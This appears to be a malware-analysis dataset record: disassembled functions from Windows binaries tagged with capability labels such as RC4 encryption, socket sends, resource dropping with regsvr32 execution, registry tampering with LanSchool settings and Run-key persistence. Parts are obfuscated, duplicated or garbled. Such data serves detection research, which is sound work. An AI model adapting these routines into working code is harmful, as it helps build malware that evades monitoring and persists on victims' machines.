joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001591
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1009dd14
sub esp, 0xc4
mov eax, dword [0x101844f8]
xor eax, esp
mov dword [esp + 0xc0], eax
push ebx
mov ebx, dword [0x1018cc4c]
push ebp
push esi
mov esi, dword [esp + 0xd4]
push edi
push str.length
call ebx
mov ebp, dword [0x1018cc54]
push eax
push esi
call ebp
mov edi, eax
add esp, 0xc
lea eax, [esp + 0x10]
cmp edi, 0x60
jg 0x1009dd6f
push edi
push 0
push eax
push str.getCharacters:range:
call ebx
pop ecx
push eax
push esi
call ebp
add esp, 0x14
mov ebx, edi
jmp 0x1009ddc1
push 0x20
push 0
push eax
push str.getCharacters:range:
call ebx
pop ecx
push eax
push esi
call ebp
add esp, 0x14
mov eax, edi
sar eax, 1
sub eax, 0x10
push 0x20
push eax
lea eax, [esp + 0x58]
push eax
push str.getCharacters:range:
call ebx
pop ecx
push eax
push esi
call ebp
add esp, 0x14
lea eax, [edi - 0x20]
push 0x20
push eax
lea eax, [esp + 0x98]
push eax
push str.getCharacters:range:
call ebx
pop ecx
push eax
push esi
call ebp
add esp, 0x14
push 0x60
pop ebx
lea esi, [esp + 0x10]
mov edx, edi
cmp ebx, 0x60
jg 0x1009de2f
mov eax, ebx
mov ebp, esi
and eax, 0xfffffffc
lea ebp, [ebp + eax*2]
mov eax, esi
lea ebx, [eax + ebx*2]
cmp eax, ebp
jae 0x1009de26
movzx eax, word [esi]
imul ecx, eax, 0x101
movzx eax, word [esi + 2]
imul edx, edx, 0x4060401
add ecx, eax
movzx eax, word [esi + 4]
imul ecx, ecx, 0x101
add ecx, eax
movzx eax, word [esi + 6]
imul ecx, ecx, 0x101
add esi, 8
add ecx, eax
add edx, ecx
cmp esi, ebp
jb 0x1009dde0
jmp 0x1009de26
movzx eax, word [esi]
imul edx, edx, 0x101
add edx, eax
add esi, 2
cmp esi, ebx
jb 0x1009de18
jmp 0x1009def3
push 8
lea esi, [esp + 0x18]
pop ebp
movzx eax, word [esi - 4]
imul ecx, eax, 0x101
movzx eax, word [esi - 2]
imul edx, edx, 0x4060401
add ecx, eax
movzx eax, word [esi]
imul ecx, ecx, 0x101
lea esi, [esi + 8]
add ecx, eax
movzx eax, word [esi - 6]
imul ecx, ecx, 0x101
add ecx, eax
add edx, ecx
sub ebp, 1
jne 0x1009de36
mov eax, ebx
sar eax, 1
lea esi, [esp + eax*2 - 0x10]
lea ebp, [esp + eax*2 + 0x30]
jmp 0x1009dead
movzx eax, word [esi]
movzx ecx, word [esi + 2]
imul eax, eax, 0x101
imul edx, edx, 0x4060401
add ecx, eax
movzx eax, word [esi + 4]
imul ecx, ecx, 0x101
add ecx, eax
movzx eax, word [esi + 6]
imul ecx, ecx, 0x101
add ecx, eax
add edx, ecx
add esi, 8
cmp esi, ebp
jb 0x1009de7b
lea esi, [esp + 0x10]
lea ebx, [esi + ebx*2]
lea esi, [ebx - 0x40]
jmp 0x1009deef
movzx eax, word [esi]
movzx ecx, word [esi + 2]
imul eax, eax, 0x101
imul edx, edx, 0x4060401
add ecx, eax
movzx eax, word [esi + 4]
imul ecx, ecx, 0x101
add ecx, eax
movzx eax, word [esi + 6]
imul ecx, ecx, 0x101
add ecx, eax
add edx, ecx
add esi, 8
cmp esi, ebx
jb 0x1009debd
and edi, 0x1f
mov eax, edx
mov ecx, edi
pop edi
pop esi
shl eax, cl
mov ecx, dword [esp + 0xc8]
add eax, edx
pop ebp
pop ebx
xor ecx, esp
call fcn.1000234c
add esp, 0xc4
ret
Function at 0x10001b45
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x100c3590
add byte [ecx + 0x53c6ea], al
add byte [ecx + 0xed8eca], al
add byte [edx + 0x53], bl
Function at 0x10001ccb
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
jmp 0x10080da2
sub esp, 0x18
push ebp
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0x2c]
mov ebp, esi
mov dword [esp + 0xc], esi
test edi, edi
je 0x10080dcc
push edi
call sym.CoreFoundation.dll_CFDataGetBytePtr
push edi
mov dword [esp + 0x14], eax
call sym.CoreFoundation.dll_CFDataGetLength
pop ecx
pop ecx
mov ebp, eax
push dword [esp + 0x30]
call sym.CoreFoundation.dll_CFDataGetBytePtr
push dword [esp + 0x34]
mov dword [esp + 0x18], eax
call sym.CoreFoundation.dll_CFDataGetLength
mov edi, dword [esp + 0x30]
pop ecx
pop ecx
mov dword [esp + 0x2c], eax
test byte [edi + 4], 0x10
je 0x10080ef9
push ebx
mov ebx, dword [edi + 0x14]
cmp ebx, 0xffffffff
je 0x10080ef8
push edi
call sym.CoreFoundation.dll_CFRetain
mov dword [esp], 0x10189b14
call sym.CoreFoundation.dll___CFSpinLock
movsd xmm1, qword [esp + 0x3c]
xorps xmm0, xmm0
comisd xmm0, xmm1
pop ecx
jae 0x10080e54
comisd xmm1, xmmword [0x10145390]
jae 0x10080e54
push ecx
push ecx
movsd qword [esp], xmm1
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_floor]
movsd xmm1, qword [esp + 0x40]
fstp qword [esp + 0x28]
cvttsd2si eax, qword [esp + 0x28]
pop ecx
pop ecx
mov dword [esp + 0x18], eax
jmp 0x10080e5c
mov dword [esp + 0x18], getpeername
push ecx
push ecx
movsd qword [esp], xmm1
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_floor]
movsd xmm0, qword [esp + 0x40]
fstp qword [esp + 0x28]
subsd xmm0, qword [esp + 0x28]
mulsd xmm0, qword [0x10149990]
movsd qword [esp], xmm0
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_floor]
fstp qword [esp + 0x28]
cvttsd2si eax, qword [esp + 0x28]
pop ecx
pop ecx
push 8
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push 0x1005
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10080ed4
test ebp, ebp
jle 0x10080ed4
push ebp
push eax
push esi
push dword [esp + 0x3c]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
jmp 0x10080ee4
push esi
push dword [esp + 0x34]
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.WS2_32.dll_send]
push 0x10189b14
mov esi, eax
call sym.CoreFoundation.dll___CFSpinUnlock
push edi
call sym.CoreFoundation.dll_CFRelease
pop ecx
pop ecx
pop ebx
xor eax, eax
test esi, esi
pop edi
setg al
pop esi
dec eax
pop ebp
add esp, 0x18
ret

Function at 0x10001e0b
Capabilities:
Get hostname

Disassembly:
jmp 0x10068b3d
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x101844f8]
xor eax, ebp
mov dword [ebp + 0x84], eax
push 0x101
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
movzx ecx, byte [ebp - 0x80]
xor edx, edx
test eax, eax
lea eax, [ebp - 0x80]
push 0x8000100
push eax
push dword [sym.CoreFoundation.dll_kCFAllocatorSystemDefault]
cmovne ecx, edx
mov byte [ebp - 0x80], cl
call sym.CoreFoundation.dll_CFStringCreateWithCString
mov ecx, dword [ebp + 0x84]
add esp, 0xc
xor ecx, ebp
call fcn.1000234c
add ebp, 0x88
leave
ret
Function at 0x100c41cd
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push ecx
jmp 0x100c41d9
pop ecx
push ecx
push eax
add esp, 4
jmp 0x100c41e8
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x100c4201
mov dword [ebp - 0x2bc], 0
jmp 0x100c4461
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x4d8], eax
push edx
sub edx, 0x1468a
or edx, 0x3563
pop edx
push eax
push edx
add esp, 4
xor eax, 0x15e3f
pop eax
push ebx
push eax
add esp, 4
and ebx, 0x16d89
or ebx, 0xf264
xor ebx, 0xf471
pop ebx
lea ecx, [ebp - 0x1670]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc44], eax
xor ecx, ecx
mov word [ebp - 0x1c4], cx
xor edx, edx
mov word [ebp - 0x110], dx
push ecx
and ecx, 0xb8b
call 0x100c4282
add byte [esi + 0x3e], al
dec esi
cmp cl, byte [edi + 0x3a]
cmp eax, 0xc483343c
add al, 0x81
loope 0x100c4299
pushal
add dword [eax], eax
pop ecx
push ebx
push ebx
add esp, 4
or ebx, 0xe8fc
add ebx, 0x155a2
pop ebx
mov byte [0x5b000155], al
mov eax, dword [ebp - 0xc44]
mov cx, word [eax]
mov word [ebp - 0xfe6], cx
mov edx, dword [ebp - 0xc44]
add edx, 2
mov dword [ebp - 0xc44], edx
mov ax, word [ebp - 0xfe6]
mov word [ebp - 0x1c4], ax
mov ecx, dword [ebp - 0xc48]
mov dx, word [ecx]
mov word [ebp - 0xfe8], dx
mov eax, dword [ebp - 0xc48]
add eax, 2
mov dword [ebp - 0xc48], eax
mov cx, word [ebp - 0xfe8]
mov word [ebp - 0x110], cx
push eax
xor eax, 0x15acf
or eax, 0x16d8b
add eax, 0xdcab
xor eax, 0x7775
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x2db3
and ebx, 0xf7d6
xor ebx, 0x1762f
pop ebx
movzx edx, word [ebp - 0x110]
test edx, edx
jne 0x100c434d
movzx eax, word [ebp - 0x1c4]
movzx ecx, word [ebp - 0x110]
sub eax, ecx
mov dword [ebp - 0x156c], eax
jmp 0x100c43b0
movzx edx, word [ebp - 0x1c4]
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x100c426c
movzx ecx, word [ebp - 0x1c4]
xor ecx, 0x20
movzx edx, word [ebp - 0x110]
cmp ecx, edx
je 0x100c426c
movzx eax, word [ebp - 0x1c4]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
jge 0x100c439a
mov dword [ebp - 0x1568], 0xffffffff
jmp 0x100c43a4
mov dword [ebp - 0x1568], 1
mov edx, dword [ebp - 0x1568]
mov dword [ebp - 0x156c], edx
cmp dword [ebp - 0x156c], 0
jne 0x100c43f9
push ecx
or ecx, 0x554c
or ecx, 0x3868
pop ecx
push edx
push esi
add esp, 4
jmp 0x100c43d2
and edx, 0x12650
pop edx
push edx
push edi
add esp, 4
xor edx, 0x3266
and edx, 0x148cb
pop edx
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x2bc], eax
jmp 0x100c4461
push ebx
push edi
add esp, 4
add ebx, 0x10217
xor ebx, 0xbb50
and ebx, 0x153dd
xor ebx, 0xb838
pop ebx
push edi
or edi, 0xe562
and edi, 0x1db2
sub edi, 0x32a4
pop edi
mov ecx, dword [ebp - 0x4d8]
mov edx, dword [ecx]
mov dword [ebp - 0x4d8], edx
mov eax, dword [ebp - 0x4d8]
cmp eax, dword [ebp - 0xc4c]
je 0x100c4457
mov ecx, dword [ebp - 0x4d8]
cmp dword [ecx + 0x30], 0
jne 0x100c420d
mov dword [ebp - 0x2bc], 0
Function at 0x100c4282
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push ecx
jmp 0x100c41d9
pop ecx
push ecx
push eax
add esp, 4
jmp 0x100c41e8
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x100c4201
mov dword [ebp - 0x2bc], 0
jmp 0x100c4461
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x4d8], eax
push edx
sub edx, 0x1468a
or edx, 0x3563
pop edx
push eax
push edx
add esp, 4
xor eax, 0x15e3f
pop eax
push ebx
push eax
add esp, 4
and ebx, 0x16d89
or ebx, 0xf264
xor ebx, 0xf471
pop ebx
lea ecx, [ebp - 0x1670]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc44], eax
xor ecx, ecx
mov word [ebp - 0x1c4], cx
xor edx, edx
mov word [ebp - 0x110], dx
push ecx
and ecx, 0xb8b
call 0x100c4282
add byte [esi + 0x3e], al
dec esi
cmp cl, byte [edi + 0x3a]
cmp eax, 0xc483343c
add al, 0x81
loope 0x100c4299
pushal
add dword [eax], eax
pop ecx
push ebx
push ebx
add esp, 4
or ebx, 0xe8fc
add ebx, 0x155a2
pop ebx
mov byte [0x5b000155], al
mov eax, dword [ebp - 0xc44]
mov cx, word [eax]
mov word [ebp - 0xfe6], cx
mov edx, dword [ebp - 0xc44]
add edx, 2
mov dword [ebp - 0xc44], edx
mov ax, word [ebp - 0xfe6]
mov word [ebp - 0x1c4], ax
mov ecx, dword [ebp - 0xc48]
mov dx, word [ecx]
mov word [ebp - 0xfe8], dx
mov eax, dword [ebp - 0xc48]
add eax, 2
mov dword [ebp - 0xc48], eax
mov cx, word [ebp - 0xfe8]
mov word [ebp - 0x110], cx
push eax
xor eax, 0x15acf
or eax, 0x16d8b
add eax, 0xdcab
xor eax, 0x7775
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x2db3
and ebx, 0xf7d6
xor ebx, 0x1762f
pop ebx
movzx edx, word [ebp - 0x110]
test edx, edx
jne 0x100c434d
movzx eax, word [ebp - 0x1c4]
movzx ecx, word [ebp - 0x110]
sub eax, ecx
mov dword [ebp - 0x156c], eax
jmp 0x100c43b0
movzx edx, word [ebp - 0x1c4]
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x100c426c
movzx ecx, word [ebp - 0x1c4]
xor ecx, 0x20
movzx edx, word [ebp - 0x110]
cmp ecx, edx
je 0x100c426c
movzx eax, word [ebp - 0x1c4]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
jge 0x100c439a
mov dword [ebp - 0x1568], 0xffffffff
jmp 0x100c43a4
mov dword [ebp - 0x1568], 1
mov edx, dword [ebp - 0x1568]
mov dword [ebp - 0x156c], edx
cmp dword [ebp - 0x156c], 0
jne 0x100c43f9
push ecx
or ecx, 0x554c
or ecx, 0x3868
pop ecx
push edx
push esi
add esp, 4
jmp 0x100c43d2
and edx, 0x12650
pop edx
push edx
push edi
add esp, 4
xor edx, 0x3266
and edx, 0x148cb
pop edx
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x2bc], eax
jmp 0x100c4461
push ebx
push edi
add esp, 4
add ebx, 0x10217
xor ebx, 0xbb50
and ebx, 0x153dd
xor ebx, 0xb838
pop ebx
push edi
or edi, 0xe562
and edi, 0x1db2
sub edi, 0x32a4
pop edi
mov ecx, dword [ebp - 0x4d8]
mov edx, dword [ecx]
mov dword [ebp - 0x4d8], edx
mov eax, dword [ebp - 0x4d8]
cmp eax, dword [ebp - 0xc4c]
je 0x100c4457
mov ecx, dword [ebp - 0x4d8]
cmp dword [ecx + 0x30], 0
jne 0x100c420d
mov dword [ebp - 0x2bc], 0
Function at 0x100c4d27
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push esi
add esi, 0x114b
or esi, 0x947d
pop esi
mov ecx, dword [ebp - 0x1d7c]
mov dword [ebp - 0x1d80], ecx
lea edx, [ebp - 0x1670]
push edx
call dword [ebp - 0x1d80]
test eax, eax
jne 0x100c4d97
push esi
push ebx
add esp, 4
xor esi, 0x824b
sub esi, 0x4411
jmp 0x100c4d6e
xor esi, 0xb70e
pop esi
push ebx
call 0x100c4d84
add byte [eax + 0x42], cl
xor ecx, dword [ecx + 0x4a]
inc ecx
cmp eax, 0x4c4833a
pop ebx
mov dword [ebp - 0x788], 0
jmp 0x100c5481

Function at 0x100c4d84
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push esi
add esi, 0x114b
or esi, 0x947d
pop esi
mov ecx, dword [ebp - 0x1d7c]
mov dword [ebp - 0x1d80], ecx
lea edx, [ebp - 0x1670]
push edx
call dword [ebp - 0x1d80]
test eax, eax
jne 0x100c4d97
push esi
push ebx
add esp, 4
xor esi, 0x824b
sub esi, 0x4411
jmp 0x100c4d6e
xor esi, 0xb70e
pop esi
push ebx
call 0x100c4d84
add byte [eax + 0x42], cl
xor ecx, dword [ecx + 0x4a]
inc ecx
cmp eax, 0x4c4833a
pop ebx
mov dword [ebp - 0x788], 0
jmp 0x100c5481
Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x44
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x4c]
push ebx
push ebp
mov ebp, dword [esp + 0x50]
push esi
push edi
push eax
push ecx
xor ebx, ebx
push ebp
xor edi, edi
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, edi
je 0x4011f1
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x4011f1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x4011f1
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, edi
je 0x4011f1
lea ebx, [ebp*8 + 0x1000]
cmp ebx, 0x16e360
jbe 0x401077
mov ebx, 0x16e360
mov edx, dword [0x41bc9c]
push ebx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, edi
je 0x4011fb
mov eax, dword [esp + 0x14]
push 0x38
lea ecx, [esp + 0x20]
push str.1.1.4
push ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
call fcn.00404fc0
lea edx, [esp + 0x28]
push 4
push edx
call fcn.00404fe0
mov ebx, eax
lea eax, [esp + 0x30]
push eax
call fcn.00404e70
add esp, 0x18
cmp ebx, 0xfffffffb
jne 0x401171
mov ecx, dword [0x41bc9c]
push esi
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x41bc9c]
push 0x2dc6c0
push edi
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, edi
je 0x4011fb
mov eax, dword [esp + 0x14]
push 0x38
lea ecx, [esp + 0x20]
push str.1.1.4
push ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], 0x2dc6c0
mov dword [esp + 0x3c], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
call fcn.00404fc0
lea edx, [esp + 0x28]
push 4
push edx
call fcn.00404fe0
mov ebx, eax
lea eax, [esp + 0x30]
push eax
call fcn.00404e70
add esp, 0x18
cmp ebx, 1
jne 0x4011d6
mov ecx, dword [esp + 0x64]
push edi
push 0x8000080
push 2
push edi
push edi
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4011ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x4011c2
cmp eax, 0xb7
jne 0x4011d6
jmp 0x4011c2
mov eax, dword [esp + 0x30]
push edi
lea edx, [esp + 0x1c]
push edx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4011ca
mov dword [esp + 0x10], 1
cmp ebx, 0xffffffff
je 0x4011d6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x41bc9c]
push esi
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x44
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x401930
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x184
mov eax, dword [0x416b74]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
mov ebx, dword [esp + 0x190]
push esi
push edi
push 1
call fcn.00402400
call fcn.00404460
call fcn.00404200
call fcn.00404570
call fcn.00401ba0
push 0x41bfb0
call fcn.00401210
add esp, 8
push 0x80
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0xc]
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401990
mov ecx, dword [str.Lsk_iBlk.dll]
mov edx, dword [0x410498]
mov dword [eax], ecx
mov ecx, dword [0x41049c]
mov dword [eax + 4], edx
mov dx, word [0x4104a0]
mov dword [eax + 8], ecx
mov ecx, dword [0x410488]
mov word [eax + 0xc], dx
mov eax, dword [str.regsvr32__s]
mov edx, dword [0x41048c]
mov dword [esp + 0x8c], eax
mov al, byte [0x410490]
mov byte [esp + 0x98], al
lea eax, [esp + 0xc]
mov dword [esp + 0x94], edx
mov dword [esp + 0x90], ecx
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4019f7
lea edi, [esp + 0x8c]
sub eax, edx
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x401a10
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 1
lea ecx, [esp + 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edx, dword [esp + 0x194]
push ebx
push edx
call fcn.004015f0
mov ecx, dword [esp + 0x194]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040757a
add esp, 0x184
ret

Function at 0x401a70
Capabilities:
Get geographical location

Disassembly:
push ecx
push str.DefaultLanguage
call fcn.00402040
push eax
push 0xa
push 0x417ae4
call fcn.00401d20
mov eax, 0x417ae4
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401a93
sub eax, edx
jne 0x401ae5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0xa
push 0x417ae4
push 3
push 0x800
call esi
push 0x4104a4
push 0x417ae4
call fcn.00407a98
add esp, 8
test eax, eax
jne 0x401add
push 0xa
push 0x417ae4
push 3
push 0x400
call esi
mov eax, 0x417ae4
pop esi
pop ecx
ret
mov eax, 0x417ae4
pop ecx
ret
Function at 0x401ba0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x12c
mov eax, dword [0x416b74]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x2001f
xor edi, edi
push edi
push str.SYSTEMCurrentControlSetHardware_Profiles
xor ebp, ebp
push reloc.WSOCK32.dll_bind
mov dword [esp + 0x30], 0x104
xor esi, esi
mov dword [esp + 0x38], ebp
call ebx
test eax, eax
jne 0x401d01
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x14]
push edi
push edi
push edi
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x48]
push eax
push edi
push ecx
call ebp
test eax, eax
jne 0x401cf0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
push 0x2001f
push edi
lea eax, [esp + 0x40]
push eax
push ecx
call ebx
test eax, eax
jne 0x401cc3
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x18]
push edx
push 0x2001f
push edi
push str.SystemCurrentControlSetEnumROOTLEGACY_LANSCHOOLSTUDENT0000
push eax
call ebx
test eax, eax
jne 0x401cb8
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x18]
push edx
push edi
push edi
push str.CSConfigFlags
push eax
mov dword [esp + 0x40], 4
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401cad
cmp dword [esp + 0x14], edi
je 0x401cad
mov edx, dword [esp + 0x18]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push edi
push str.CSConfigFlags
push edx
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401cad
mov dword [esp + 0x24], 1
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x14]
push edi
push edi
push edi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x48]
push ecx
add esi, 1
push esi
push edx
mov dword [esp + 0x3c], 0x104
call ebp
test eax, eax
je 0x401c17
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x24]
jmp 0x401d03
mov eax, ebp
mov ecx, dword [esp + 0x138]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040757a
add esp, 0x12c
ret
Function at 0x401d20
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 0xc]
sub esp, 0xc
push esi
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push ecx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x401d9f
mov edx, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0xc]
push edi
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x30]
push esi
push edx
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401d9e
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x401d9e
cmp eax, 2
je 0x401d9e
mov byte [edi], 0
mov esi, 2
pop edi
xor eax, eax
test esi, esi
sete al
pop esi
add esp, 0xc
ret

Function at 0x401db0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x24
mov eax, dword [0x416b74]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
push ebx
mov ebx, dword [esp + 0x34]
push esi
push edi
mov edi, dword [esp + 0x38]
lea ecx, [esp + 0xc]
push ecx
push 0x20019
xor esi, esi
push esi
push eax
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401e2f
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x1c]
push ecx
push esi
push edi
push edx
mov dword [esp + 0x28], 0x14
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401e24
cmp dword [esp + 0x14], 4
jne 0x401e24
mov eax, dword [esp + 0x18]
mov dword [ebx], eax
mov esi, 1
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x2c]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040757a
add esp, 0x24
ret

Function at 0x401f50
Capabilities:
Persist via run registry key

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 4]
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call esi
test eax, eax
jne 0x401f87
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00401e50
pop esi
pop ecx
ret
lea edx, [esp + 4]
push edx
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push reloc.WSOCK32.dll_bind
call esi
test eax, eax
jne 0x401fb6
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00401e50
pop esi
pop ecx
ret
xor eax, eax
pop esi
pop ecx
ret